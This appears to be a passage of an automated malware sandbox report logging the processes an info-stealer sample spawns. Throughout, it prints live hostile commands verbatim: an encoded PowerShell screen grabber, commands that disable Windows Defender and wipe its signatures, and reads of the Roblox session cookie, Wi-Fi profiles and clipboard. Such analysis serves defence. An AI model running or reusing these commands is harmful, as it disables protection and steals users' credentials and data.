Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Users\user\Desktop\e45AiBoV6X.exe "C:\Users\user\Desktop\e45AiBoV6X.exe"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
